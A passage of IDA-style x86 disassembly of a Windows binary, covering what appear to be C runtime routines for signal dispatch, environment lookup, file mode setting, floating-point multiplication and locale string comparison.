loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC5C
		mov	eax, offset dword_4DBC5C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC58
		mov	eax, offset dword_4DBC58
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC60
		mov	eax, offset dword_4DBC60
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC54
		mov	eax, offset dword_4DBC54


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA30
		and	dword_4DBA30, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D02C
		mov	dword_43D02C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D020
		mov	ecx, dword_43D024
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFB0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D02C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA30, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D02C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFAC, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB980
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB988, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB980
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB958, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB958, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D4A8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D608
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB988
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC68, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC68, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB50C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F0636h
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC68, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC68
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0636h
		nop
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
